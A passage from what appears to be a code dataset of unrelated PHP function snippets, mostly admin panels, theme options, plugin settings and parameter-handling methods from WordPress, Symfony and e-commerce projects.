time in seconds (decimals allowed).', 'total'),\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t'heading' => esc_html__( 'Animation Delay', 'total'),\n\t\t\t\t\t'param_name' => 'animation_delay',\n\t\t\t\t\t'description' => esc_html__( 'Enter your custom time in seconds (decimals allowed).', 'total'),\n\t\t\t\t),\n\t\t\t);\n\n\t\t\treturn apply_filters( 'vcex_shortcode_params', $params, 'vcex_shortcode' );\n\n\t\t}", "public function SetPanelSettings()\n\t{\n\t\tif(gzte11(ISC_LARGEPRINT) && GetConfig('EnableGiftCertificates') != 0) {\n\t\t\t$GLOBALS['SNIPPETS']['TopMenuGiftCertificates'] = $GLOBALS['ISC_CLASS_TEMPLATE']->GetSnippet(\"TopMenuGiftCertificates\");\n\t\t}\n\t\t// Show the login/logout link as required\n\n\t\t$GLOBALS['HideLogoutLink'] = 'display: none';\n\t\t\n\t\tif(!isset($GLOBALS['LoginOrLogoutText'])) {\n\n\t\t\tif(CustomerIsSignedIn()) {\n\t\t\t\t$usuarioLogado = true;\n\t\t\t\t// If they're a customer, set their name so it's available in the templates\n\t\t\t\t$c = GetClass('ISC_CUSTOMER');\n\t\t\t\t$customerData = $c->GetCustomerDataByToken();\n\t\t\t\t$GLOBALS['CurrentCustomerFirstName'] = isc_html_escape(ucwords(strtolower($customerData['custconfirstname'])));\n\t\t\t\t$GLOBALS['CurrentCustomerLastName'] = isc_html_escape(ucwords(strtolower($customerData['custconlastname'])));\n\t\t\t\t$GLOBALS['CurrentCustomerEmail'] = isc_html_escape(strtolower($customerData['custconemail']));\n\n\t\t\t\t$GLOBALS['LoginOrLogoutLink'] = \"login.php?action=logout\";\n\t\t\t\t//$GLOBALS['LoginOrLogoutText'] = sprintf(GetLang('LogoutLink'), $GLOBALS['ShopPathNormal']);\n\t\t\t\t$GLOBALS['LoginOrLogoutText'] = 'Ol&aacute; <b>'.$GLOBALS['CurrentCustomerFirstName'].'!</b> </a>\n\t\t\t\t\t\t ( <a href=\"'.$GLOBALS['ShopPathNormal'].'/account.php\">Meus Dados</a>\n\t\t\t\t\t\t <a href=\"'.$GLOBALS['ShopPathNormal'].'/account.php?action=order_status\">Meus Pedidos</a>\n\t\t\t\t\t\t <a href=\"'.$GLOBALS['ShopPathNormal'].'/login.php?action=logout\">Sair</a> )';\n\t\t\t\t\n\t\t\t\t$GLOBALS['HideLogoutLink'] = '';\n\t\t\t}else{\n\t\t\t\t$usuarioLogado = false;\n\t\t\t\t$loginLinkFunction = '';\n\t\t\t\t$createAccountLinkFunction = '';\n\t\t\t\t$GLOBALS['OptimizerLinkScript'] = $this -> insertOptimizerLinkScript();\n\t\t\t\tif($GLOBALS['OptimizerLinkScript'] != '') {\n\t\t\t\t\t$loginLinkFunction = \"gwoTracker._link(\\\"\".$GLOBALS['ShopPathSSL'].\"/login.php?tk=\".session_id().\"\\\"); return false;\";\n\t\t\t\t\t$createAccountLinkFunction = \"gwoTracker._link(\\\"\".$GLOBALS['ShopPathSSL'].\"/login.php?action=create_account&tk=\".session_id().\"\\\"); return false;\";\n\n\t\t\t\t}\n\t\t\t\t// If they're a guest, set their name to 'Guest'\n\t\t\t\t$GLOBALS['CurrentCustomerFirstName'] = GetLang('Guest');\n\t\t\t\t$GLOBALS['CurrentCustomerLastName'] = $GLOBALS['CurrentCustomerEmail'] = '';\n\n\t\t\t\t$GLOBALS['LoginOrLogoutLink'] = \"login.php\";\n\t\t\t\t$GLOBALS['LoginOrLogoutText'] = sprintf(GetLang('SignInOrCreateAccount'), $GLOBALS['ShopPath'], $loginLinkFunction, $GLOBALS['ShopPath'], $createAccountLinkFunction);\n\t\t\t}\n\t\t}else{\n\t\t\t$usuarioLogado = false;\n\t\t}\n\t\t\n\t\t/* EDAZCOMMERCE - CRIAR OS CAMPOS DE LOGIN NO HEADER POR AQUI, PARA NÃO ENTRAR EM CONFLITO COM O LOGIN DO CHECKOUT */\n\t\t$GLOBALS['FieldsLoginHeader'] = '<input type=\"text\" class=\"InputTexto InitialFocus\" name=\"login_email\" id=\"login_email\" size=\"35\" />\n\t\t\t\t\t\t<input type=\"password\" class=\"InputTexto\" name=\"login_pass\" id=\"login_pass\" />\n\t\t\t\t\t\t<input type=\"submit\" id=\"id=\"LoginButton\"\" value=\"Entrar\" />';\n\t\t\n\t\t/* EDAZCOMMERCE - USUÁRIO DESLOGADO DO SISTEMA */\n\t\t$GLOBALS['UsuarioLogado'] = $usuarioLogado;\n\t\tif($usuarioLogado){\n\t\t\t$GLOBALS['DisplayLoginHome'] \t\t= \"displayNone\";\n\t\t\t$GLOBALS['ClassWelcomeMessageUser'] = \"width600\";\n\t\t}else{\n\t\t\t/* DESABILITA OS CAMPOS PARA LOGIN NO HEADER QUANDO ESTIVER NO CHECKOUT */\n\t\t\tif(!isset($GLOBALS['PanelLoginJavaScript']) || (isset($GLOBALS['PanelLoginJavaScript']) && $GLOBALS['PanelLoginJavaScript'] != 'desabilitadoCheckout')){\n\t\t\t\t$GLOBALS['PanelLoginJavaScript'] = \"%%Panel.LoginJavaScript%%\";\n\t\t\t}\n\t\t}\n\t\tif($GLOBALS['PanelLoginJavaScript'] == 'desabilitadoCheckout'){\n\t\t\t$GLOBALS['FieldsLoginHeader']\t = \"\";\n\t\t\t$GLOBALS['PanelLoginJavaScript'] = \"\";\n\t\t}\n\n\t\t// Display our currency flags. Has been disabled for the time being. Theory being that this will include the whole locale (text aswell)\n\t\t$GLOBALS['CurrencyFlags'] = \"\";\n\t}", "public static function data_for_plan_page_parameters() {\n $planid = new external_value(\n PARAM_INT,\n 'The plan id',\n VALUE_REQUIRED\n );\n $params = array('planid' => $planid);\n return new external_function_parameters($params);\n }", "public function initializeArgumentsAndRender() {}", "public function getParamsListToInject(): array\n {\n return [\n 'sectionTitle',\n 'sectionSubtitle',\n 'tiles'\n ];\n }", "public function _config_para_view() {\n $this->controller->set('ControleAcessoConfig', $this->config);\n }", "public function initializeArgumentsAndRender() {}", "function getParams()\n {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id = $id;\n }\n if (isset($mode)) {\n $this->mode = $mode;\n }\n if (isset($view_mode)) {\n $this->view_mode = $view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode = $edit_mode;\n }\n if (isset($tab)) {\n $this->tab = $tab;\n }\n }", "public function getPanel()\n {\n if (!$this->auth->hasIdentity()) {\n $html = '<h4>No identity</h4>';\n } else {\n $html = '<h4>Identity</h4>';\n $html .= $this->cleanData($this->auth->getIdentity());\n }\n\n return $html;\n }", "public function render()\n {\n\n $this->setUp();\n \n $html = '';\n \n // $html .= $this->panelTitle();\n $html .= $this->panelMenu();\n // $html .= $this->panelButtons();\n \n if ($this->subPannel) {\n foreach ($this->subPannel as $subPanel) {\n if (is_string($subPanel))\n $html .= $subPanel;\n else\n $html .= $subPanel->render();\n }\n }\n \n return $html;\n \n }", "public function getPanelContent()\n {\n $sqlLogs = $this->getLogs();\n\n // Add table uses summary\n // Sort table uses\n $idTables = array();\n $counts = array();\n $i = 0;\n foreach(self::$tables as $table => $nbUse)\n {\n $counts[$table] = $nbUse;\n $idTables[$table] = $i++;\n }\n \n $tableSummary = array();\n \n if(is_array($counts))\n {\n arsort($counts, SORT_NUMERIC);\n \n // Build summary of table uses\n foreach($counts as $table => $nbUse)\n {\n $tableSummary[] = sprintf('<div style=\"float: left; margin-right: 10px; line-height: 15px;\"><a href=\"#\" onclick=\"jQuery(\\'#sfWebDebugBarCancelLink\\').show(); jQuery(\\'#sfWebDebugAdvancedDatabaseLogs ol li\\').hide(); jQuery(\\'#sfWebDebugAdvancedDatabaseLogs ol li.info\\').show(); jQuery(\\'#sfWebDebugAdvancedDatabaseLogs ol li.table-'.$table.'\\').show(); return false;\" title=\"Only display queries on this table\"><span style=\"color: blue;\"> %s</span> (%s)</a></div>', $table, $nbUse);\n }\n }\n\n // Add color legend\n $legend = '<div style=\"float: left; font-weight: bold; padding: 2px; margin: 2px 2px 2px 0;\">SQL status legend :</div>';\n foreach($this->colors as $min => $content)\n {\n $legend .= '<div style=\"background-color: '.$content[0].'; color: white; float: left; margin: 2px; padding: 2px;\">&gt;= '.$min.' queries ('.$content[1].')</div>';\n }\n\n $liStyle= ' style=\"line-height: 120% !important;\n padding: 5px 0px !important;\n border-bottom: 1px solid silver !important;\n list-style-type: decimal !important;\n margin-bottom:0\"';\n\n $liInfoStyle= ' style=\"line-height: 120% !important;\n padding: 5px 0px !important;\n border-bottom: 1px solid silver !important;\n list-style-type: decimal !important;\n background: #CCC; text-indent: 10px;\n text-shadow:1px 1px 1px rgba(0, 0, 0, 0.2);\"';\n\n\n\n // Build information and query rows\n $queries = array();\n foreach($sqlLogs as $i => $log)\n {\n $table = $log['table'];\n\n $message = '';\n if(array_key_exists($i, $this->info))\n {\n foreach($this->info[$i] as $mess)\n {\n $message .= '<li'.$liInfoStyle.' class=\"info\" style=\"\"><b>'.$mess['message'].' queries:</b></li>';\n }\n }\n \n $link = '';\n if(strstr($log['log'],'SELECT') > 0)\n {\n $link = '<a href=\"#\" style=\"color: blue;\" onclick=\"jQuery(this).parent().children(\\'span.select\\').show(); jQuery(this).hide(); return false;\">(View select content)</a>';\n }\n $message .= '<li'.$liStyle.' class=\"table-'.$table.' sfWebDebugDatabaseQuery\">'.$log['log'].' '.$link.'</li>';\n $queries[] = $message;\n }\n\n return '\n <div id=\"sfWebDebugAdvancedDatabaseLogs\">\n <div style=\"overflow: auto; margin-bottom: 10px;\">'.$legend.'</div>\n <b>Table call summary (click on a table to filter queries)</b>\n <div style=\"overflow: auto; margin-bottom: 10px;\">'.implode(\"\\n\", $tableSummary).'</div>\n <b>SQL queries <span id=\"sfWebDebugBarCancelLink\" style=\"display: none;\">(<a href=\"#\" style=\"color: blue\" onclick=\"jQuery(\\'#sfWebDebugAdvancedDatabaseLogs ol li\\').show(); jQuery(this).parent().hide(); return false;\">Cancel table filters</a>)</a></span></b>\n <ol style=\"margin-left: 20px\">'.implode(\"\\n\", $queries).'</ol>\n </div>\n ';\n }", "public function setArguments() {\n\n $theme = wp_get_theme(); // For use with some settings. Not necessary.\n\n $this->args = array(\n // TYPICAL -> Change these values as you need/desire\n 'opt_name' => 'tb_options',\n // This is where your data is stored in the database and also becomes your global variable name.\n 'display_name' => $theme->get( 'Name' ),\n // Name that appears at the top of your panel\n 'display_version' => $theme->get( 'Version' ),\n // Version that appears at the top of your panel\n 'menu_type' => 'menu',\n //Specify if the admin menu should appear or not. Options: menu or submenu (Under appearance only)\n 'allow_sub_menu' => true,\n // Show the sections below the admin menu item or not\n 'menu_title' => __( 'Theme Options', 'slova' ),\n 'page_title' => __( 'Theme Options', 'slova' ),\n // You will need to generate a Google API key to use this feature.\n // Please visit: https://developers.google.com/fonts/docs/developer_api#Auth\n 'google_api_key' => '',\n // Set it you want google fonts to update weekly. A google_api_key value is required.\n 'google_update_weekly' => false,\n // Must be defined to add google fonts to the typography module\n 'async_typography' => true,\n // Use a asynchronous font on the front end or font string\n //'disable_google_fonts_link' => true, // Disable this in case you want to create your own google fonts loader\n 'admin_bar' => true,\n // Show the panel pages on the admin bar\n 'admin_bar_icon' => 'dashicons-portfolio',\n // Choose an icon for the admin bar menu\n 'admin_bar_priority' => 50,\n // Choose an priority for the admin bar menu\n 'global_variable' => '',\n // Set a different name for your global variable other than the opt_name\n 'dev_mode' => false,\n // Show the time the page took to load, etc\n 'update_notice' => false,\n // If dev_mode is enabled, will notify developer of updated versions available in the GitHub Repo\n 'customizer' => true,\n // Enable basic customizer support\n //'open_expanded' => true, // Allow you to start the panel in an expanded way initially.\n //'disable_save_warn' => true, // Disable the save warning when a user changes a field\n\n // OPTIONAL -> Give you extra features\n 'page_priority' => null,\n // Order where the menu appears in the admin area. If there is any conflict, something will not show. Warning.\n 'page_parent' => 'themes.php',\n // For a full list of options, visit: http://codex.wordpress.org/Function_Reference/add_submenu_page#Parameters\n 'page_permissions' => 'manage_options',\n // Permissions needed to access the options panel.\n 'menu_icon' => '',\n // Specify a custom URL to an icon\n 'last_tab' => '',\n // Force your panel to always open to a specific tab (by id)\n 'page_icon' => 'icon-themes',\n // Icon displayed in the admin panel next to your menu_title\n 'page_slug' => '_options',\n // Page slug used to denote the panel\n 'save_defaults' => true,\n // On load save the defaults to DB before user clicks save or not\n 'default_show' => false,\n // If true, shows the default value next to each field that is not the default value.\n 'default_mark' => '',\n // What to print by the field's title if the value shown is default. Suggested: *\n 'show_import_export' => true,\n // Shows the Import/Export panel when not used as a field.\n\n // CAREFUL -> These options are for advanced use only\n 'transient_time' => 60 * MINUTE_IN_SECONDS,\n 'output' => true,\n // Global shut-off for dynamic CSS output by the framework. Will also disable google fonts output\n 'output_tag' => true,\n // Allows dynamic CSS to be generated for customizer and google fonts, but stops the dynamic CSS from going to the head\n // 'footer_credit' => '', // Disable the footer credit of Redux. Please leave if you can help it.\n\n // FUTURE -> Not in use yet, but reserved or partially implemented. Use at your own risk.\n 'database' => '',\n // possible: options, theme_mods, theme_mods_expanded, transient. Not fully functional, warning!\n 'system_info' => false,\n // REMOVE\n\n // HINTS\n 'hints' => array(\n 'icon' => 'icon-question-sign',\n 'icon_position' => 'right',\n 'icon_color' => 'lightgray',\n 'icon_size' => 'normal',\n 'tip_style' => array(\n 'color' => 'light',\n 'shadow' => true,\n 'rounded' => false,\n 'style' => '',\n ),\n 'tip_position' => array(\n 'my' => 'top left',\n 'at' => 'bottom right',\n ),\n 'tip_effect' => array(\n 'show' => array(\n 'effect' => 'slide',\n 'duration' => '500',\n 'event' => 'mouseover',\n ),\n 'hide' => array(\n 'effect' => 'slide',\n 'duration' => '500',\n 'event' => 'click mouseleave',\n ),\n ),\n )\n );\n\t\t\t\t\n // SOCIAL ICONS -> Setup custom links in the footer for quick links in your panel footer icons.\n $this->args['share_icons'][] = array(\n 'url' => '#',\n 'title' => 'Visit us on GitHub',\n 'icon' => 'el-icon-github'\n //'img' => '', // You can use icon OR img. IMG needs to be a full URL.\n );\n $this->args['share_icons'][] = array(\n 'url' => '#',\n 'title' => 'Like us on Facebook',\n 'icon' => 'el-icon-facebook'\n );\n $this->args['share_icons'][] = array(\n 'url' => '#',\n 'title' => 'Follow us on Twitter',\n 'icon' => 'el-icon-twitter'\n );\n $this->args['share_icons'][] = array(\n 'url' => '#',\n 'title' => 'Find us on LinkedIn',\n 'icon' => 'el-icon-linkedin'\n );\n }", "public function getUrlParameters() {\n\t\t$parameters = $this->parameters;\n\t\tif ($this->profile) {\n\t\t\t$parameters['profile'] = $this->profile;\n\t\t}\n\t\treturn $parameters;\n\t}", "function gotravel_mikado_add_admin_panel($attributes) {\n\t\t$title = '';\n\t\t$name = '';\n\t\t$hidden_property = '';\n\t\t$hidden_value = '';\n\t\t$hidden_values = array();\n\t\t$page = '';\n\n\t\textract($attributes);\n\n\t\tif(isset($page) && !empty($title) && !empty($name) && gotravel_mikado_framework()->mkdOptions->adminPageExists($page)) {\n\t\t\t$admin_page = gotravel_mikado_framework()->mkdOptions->getAdminPage($page);\n\n\t\t\tif(is_object($admin_page)) {\n\t\t\t\t$panel = new GoTravelMikadoPanel($title, $name, $hidden_property, $hidden_value, $hidden_values);\n\t\t\t\t$admin_page->addChild($name, $panel);\n\n\t\t\t\treturn $panel;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}", "public function getPanelContent()\n {\n $response = sfContext::getInstance()->getResponse();\n $sfYamlDumper = new sfYamlDumper;\n $html = array();\n $packages = $response->getPackages();\n $requestedPackages = $response->getRequestedPackages();\n $html[] = '<h2>Requested packages</h2>';\n if (!count($requestedPackages))\n {\n $html[] = '<p>No requested package</p>';\n }\n else\n {\n $html[] = '<table class=\"sfWebDebugLogs\">';\n $html[] = '<thead>';\n $html[] = '<tr>';\n $html[] = '<td></td>';\n $html[] = '<th>Require</th>';\n $html[] = '<th>Stylesheets</th>';\n $html[] = '<th>Javascripts</th>';\n $html[] = '</tr>';\n $html[] = '</thead>';\n $html[] = '<tbody>';\n foreach ($requestedPackages as $requestedPackageName)\n {\n $package = array_merge(\n array(\n 'require' => array(),\n 'stylesheets' => array(),\n 'javascripts' => array(),\n ),\n $packages[$requestedPackageName]\n );\n $html[] = '<tr>';\n $html[] = sprintf('<th>%s</th>', $requestedPackageName);\n $require = $package['require'];\n $requireHtml = '';\n if ($require)\n {\n $requireHtml = $require;\n if (is_array($require))\n {\n $requireHtml = implode('<br>', $require);\n }\n }\n $html[] = sprintf('<td>%s</td>', $requireHtml);\n $stylesheets = $package['stylesheets'];\n $stylesheetsHtml = '';\n if ($stylesheets)\n {\n $stylesheetsHtml = $stylesheets;\n if (is_array($stylesheets))\n {\n $stylesheetsHtml = array();\n foreach ($stylesheets as $key => $value)\n {\n $stylesheetsHtml[] = sprintf(\n '%s: %s',\n $key,\n $sfYamlDumper->dump($value)\n );\n }\n $stylesheetsHtml = implode('<br>', $stylesheetsHtml);\n }\n }\n $html[] = sprintf('<td>%s</td>', $stylesheetsHtml);\n \n \n $javascripts = $package['javascripts'];\n $javascriptsHtml = '';\n if ($javascripts)\n {\n $javascriptsHtml = $javascripts;\n if (is_array($javascripts))\n {\n $javascriptsHtml = array();\n foreach ($javascripts as $key => $value)\n {\n $javascriptsHtml[] = sprintf(\n '%s: %s',\n $key,\n $sfYamlDumper->dump($value)\n );\n }\n $javascriptsHtml = implode('<br>', $javascriptsHtml);\n }\n }\n $html[] = sprintf('<td>%s</td>', $javascriptsHtml);\n\n $html[] = '</tr>';\n }\n $html[] = '</tbody>';\n $html[] = '</table>';\n }\n $html[] = '<h2>Full package list</h2>';\n if (!count($packages))\n {\n $html[] = '<p>No package declaration found</p>';\n }\n else\n {\n $packagesHtml = print_r($packages, true);\n if (count($requestedPackages))\n {\n $boldPackages = array();\n foreach ($requestedPackages as $requestedPackageName)\n {\n $boldPackages[sprintf('[%s]', $requestedPackageName)] = sprintf('[<strong style=\"\">%s</strong>]', $requestedPackageName);\n }\n $packagesHtml = strtr($packagesHtml, $boldPackages);\n }\n $packagesHtml = str_replace(' ', ' ', $packagesHtml);\n $html[] = sprintf('<pre>%s</pre>', $sfYamlDumper->dump($packages, 3));\n }\n\n return join(\"\\n\", $html);\n }", "public static function getAdminParameters()\n\t{\n\t\treturn array(\n\t\t\t'logo' => array(\n\t\t\t\t'type' \t=> 'custom', \n\t\t\t\t'label' => '', \n\t\t\t\t'html' \t=> '<img src=\"https://www.paypalobjects.com/webstatic/i/ex_ce2/logo/logo_paypal_106x29.png\"/>',\n\t\t\t),\n\t\t\t'account' => array(\n\t\t\t\t'type' \t\t=> 'text', \n\t\t\t\t'label' \t=> 'PayPal Account://The PayPal account <b>e-mail address</b> must be specified instead of the <b>merchant account</b>.',\n\t\t\t\t'required' \t=> 1,\n\t\t\t),\n\t\t\t'sandbox' => array(\n\t\t\t\t'type' \t\t=> 'select', \n\t\t\t\t'label' \t=> 'Test Mode://When enabled, the PayPal SANDBOX will be used. Turn OFF this option to collect PRODUCTION payments.', \n\t\t\t\t'options' \t=> array(\n\t\t\t\t\t1 => 'ON',\n\t\t\t\t\t0 => 'OFF',\n\t\t\t\t),\n\t\t\t),\n\t\t\t'safemode' => array(\n\t\t\t\t'type' \t\t=> 'select',\n\t\t\t\t'label' \t=> 'Safe Connection://When enabled, the connection to PayPal will be established only through the TLS 1.2 protocol.',\n\t\t\t\t'options' \t=> array(\n\t\t\t\t\t1 => 'ON',\n\t\t\t\t\t0 => 'OFF',\n\t\t\t\t),\n\t\t\t),\n\t\t\t'image' => array(\n\t\t\t\t'type' \t\t=> 'text',\n\t\t\t\t'label' \t=> 'Image URL//The image URL that will be used to display the Pay Now button.',\n\t\t\t\t'default' \t=> 'https://www.paypal.com/en_GB/i/btn/btn_paynow_SM.gif',\n\t\t\t),\n\t\t);\n\t}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $data_source;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($data_source)) {\n $this->data_source=$data_source;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $data_source;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($data_source)) {\n $this->data_source=$data_source;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $data_source;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($data_source)) {\n $this->data_source=$data_source;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $data_source;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($data_source)) {\n $this->data_source=$data_source;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "public function getPanelContent()\n {\n $types = array('previous' => 'previous sessions', 'current' => \"current session\");\n\n $html = '';\n foreach(XHProfRunPool::getRunsByNamespace(true) as $namespace => $allRuns)\n {\n $html .= sprintf('<h2>Namespace : %s<a href=\"#\" onclick=\"sfWebDebugToggle(\\'pmsipilotWebDebugXHProf-%s\\'); return false;\"><img src=\"'.$this->webDebug->getOption('image_root_path').'/toggle.gif\"/></a></h2>', $namespace, md5($namespace));\n $html .= sprintf('<div id=\"pmsipilotWebDebugXHProf-%s\" style=\"display: none;\">', md5($namespace));\n\n foreach($allRuns as $type => $runs)\n {\n $links = array();\n $html .= sprintf(\"<h3>Runs from %s</h3>\", $types[$type]);\n foreach($runs as $run)\n {\n $links[] = sprintf('<input type=\"checkbox\" name=\"runs-%s\" id=\"run-%s\"><a href=\"%s\" target=\"_blank\">Run %s (%s)</a>', md5($namespace), $run->getId(), $run->getUrl(), $run->getId(), date('Y-m-d H:i:s', $run->getDate()));\n }\n if(count($links))\n {\n $html .= sprintf('<ol style=\"margin-left: 0px; list-style-type: none;\" class=\"runs-container-%s\"><li>%s</li></ol>', md5($namespace), implode('</li><li>', $links));\n }\n else\n {\n $html .= \"No run\";\n }\n }\n $html .= sprintf('<input type=\"button\" id=\"runs-%s\" value=\"Compare\" onclick=\"xhprofCompare(this, \\'%s\\', \\'%s\\')\">', md5($namespace), md5($namespace), addslashes($namespace));\n $html .= '</div>';\n }\n \n sfContext::getInstance()->getConfiguration()->loadHelpers('Asset');\n $baseUrl = _compute_public_path('index.php', 'elXHProfPlugin', 'php');\n $html .=<<<EOF\n<script type=\"text/javascript\">\nfunction xhprofCompare(button, namespaceId, namespace) {\n var groupId = button.id;\n var groupNamespace = button.id.split('-')[1];\n \n var checkedElements = [];\n var runContainers = sfWebDebugGetElementsByClassName('runs-container-'+namespaceId);\n for(var i = 0; i<runContainers.length; i++)\n {\n var runCheckboxes = runContainers[i].getElementsByTagName('input');\n for(var j = 0; j<runCheckboxes.length; j++)\n {\n if(runCheckboxes[j].checked)\n {\n checkedElements.push(runCheckboxes[j]);\n }\n }\n }\n \n if(checkedElements.length==2) {\n var run1 = checkedElements[1].id.split('-')[1];\n var run2 = checkedElements[0].id.split('-')[1];\n window.open(\"$baseUrl?run1=\"+run1+\"&run2=\"+run2+\"&source=\"+namespace);\n }\n else\n {\n alert(\"We can only compare 2 runs.\");\n }\n}\n</script>\nEOF;\n \n return $html;\n }", "public static function data_for_competency_frameworks_manage_page_parameters() {\n $params = array('pagecontext' => self::get_context_parameters());\n return new external_function_parameters($params);\n }", "function print_panel() {\t\n\t\tif ( isset($_REQUEST['saved']) && $_REQUEST['saved'] ) {\n\t\t\t$this->print_saved_message();\n\t\t}\n\t\tif ( isset($_REQUEST['reset']) && $_REQUEST['reset'] ) {\n\t\t\t$this->print_reset_message();\n\t\t}\n\t\n\t\t$this->print_heading();\n\t\t$this->print_options();\n\t\t$this->print_footer();\n\t}", "static function pagePanel (ViewRegistry $context) {\n $panel=\"\";\n $panel.=\"<span drawer=\\\"Page\\\">\";// marker for drawers.js\n $panel.=self::firstPageLink ($context).\"&nbsp;&nbsp;\";\n $panel.=self::genericRewind ($context,\"-3\",-3,true).\"&nbsp;&nbsp;\";\n $panel.=self::prevPageLink($context,\"-1\",true).\"&nbsp;&nbsp;\";\n $panel.=l(\"Page\").\":&nbsp;\".$context->g(\"pageCurrent\").\"&nbsp;&nbsp;\";\n $panel.=self::nextPageLink($context,$no,\"1+\",true).\"&nbsp;&nbsp;\";\n $panel.=self::genericRewind ($context,\"3+\",3,true).\"&nbsp;&nbsp;\";\n $panel.=self::lastPageLink ($context);\n $panel.=\"</span>\";\n return($panel);\n }", "public function getPanel()\n\t{\n\t\tif (count($this->data)) {\n\t\t\t$template = parent::createTemplate();\n\t\t\t$template->data = $this->data;\n\n\t\t\treturn $template;\n\t\t}\n\t}", "public function get_embed_params() {\n $settings = $this->get_settings_for_display();\n\n $params = [];\n\n if ( $settings['autoplay'] && ! $this->has_image_overlay() ) {\n $params['autoplay'] = '1';\n }\n\n $params_dictionary = [];\n\n\n foreach ( $params_dictionary as $key => $param_name ) {\n $setting_name = $param_name;\n\n if ( is_string( $key ) ) {\n $setting_name = $key;\n }\n\n $setting_value = $settings[ $setting_name ] ? '1' : '0';\n\n $params[ $param_name ] = $setting_value;\n }\n\n return $params;\n }", "public function getPanelGeneral()\n\t{\n\t\t\n\t\t# variables enviadas a la vista que muestra el Panel General de Administrador\n\t\t$anunciosPorRevisar = $this->getNumeroAnunciosPorRevisar();\n\t\t$anunciosDenunciados = $this->getNumeroAnunciosDenunciados();\n\t\t$anunciosBloqueados = $this->getNumeroAnunciosBloqueados();\n\t\t$usuariosBloqueados = $this->getNumeroUsuariosBloqueados();\n\t\t$usuariosDesactivados = $this->getNumeroUsuariosDesactivados();\n\t\t$comentariosDenunciados = $this->getNumeroComentariosDenunciados();\n\t\t$respuestasDenunciadas = $this->getNumeroRespuestasDenunciadas();\n\t\t\n\t\t\n\t\t// Las Tareas pendientes son las tareas iniciadas por un \n\t\t// administrador y que aún no han sido culminadas\n\t\t\n\t\t$totalTareasPendientes = $this->getNumeroAnunciosPendientes() + \n\t\t\t\t\t\t\t\t $this->getNumeroAnunciosDenunciadosPendientes() +\n\t\t\t\t\t\t\t\t $this->getNumeroComentariosDenunciadosPendientes()+\n\t\t\t\t\t\t\t\t $this->getNumeroRespuestasDenunciadasPendientes();\n\n\t\treturn \\View::make('modulos.administracion.general',compact('anunciosPorRevisar', \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'anunciosDenunciados',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'anunciosBloqueados',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'usuariosBloqueados',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'usuariosDesactivados',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'comentariosDenunciados',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'respuestasDenunciadas',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'totalTareasPendientes')\n\t\t\t\t);\n\t}", "function _add_panels ()\n {\n parent::_add_panels ();\n\n $panel =& $this->panel_at ('folder');\n $panel->rows = 10;\n $panel->columns = 2;\n }", "public function getPageData()\n {\n $pagedata = parent::getPageData();\n $pagedata['title'] = 'ListControllerWithTabsSample';\n $pagedata['icon'] = 'fas fa-cubes';\n $pagedata['menu'] = 'SamplePlugin';\n\n return $pagedata;\n }", "function plugin_admin_panel_page(){\n $vm = [\n \"api_token\" => Helper::get_option(\"api_token\"),\n ];\n\n Helper::view(\"admin\", $vm);\n}", "function getParams() {\r\n global $id;\r\n global $mode;\r\n global $view_mode;\r\n global $edit_mode;\r\n global $data_source;\r\n global $tab;\r\n if (isset($id)) {\r\n $this->id=$id;\r\n }\r\n if (isset($mode)) {\r\n $this->mode=$mode;\r\n }\r\n if (isset($view_mode)) {\r\n $this->view_mode=$view_mode;\r\n }\r\n if (isset($edit_mode)) {\r\n $this->edit_mode=$edit_mode;\r\n }\r\n if (isset($data_source)) {\r\n $this->data_source=$data_source;\r\n }\r\n if (isset($tab)) {\r\n $this->tab=$tab;\r\n }\r\n}", "public static function config() {\n\t\t$username = ( isset( $_POST['username'] ) ) ? stripslashes( $_POST['username'] ) : self::get_dashboard_widget_option(self::wid, 'username');\n\t\t$apikey = ( isset( $_POST['apikey'] ) ) ? stripslashes( $_POST['apikey'] ) : self::get_dashboard_widget_option(self::wid, 'apikey');\n\t\t$project_id = ( isset( $_POST['project_id'] ) ) ? stripslashes( $_POST['project_id'] ) : self::get_dashboard_widget_option(self::wid, 'project_id');\n\t\t\n\t\tself::update_dashboard_widget_options(\n\t\t\tself::wid, //The widget id\n\t\t\tarray( //Associative array of options & default values\n\t\t\t\t'username' => $username,\n\t\t\t\t'apikey' => 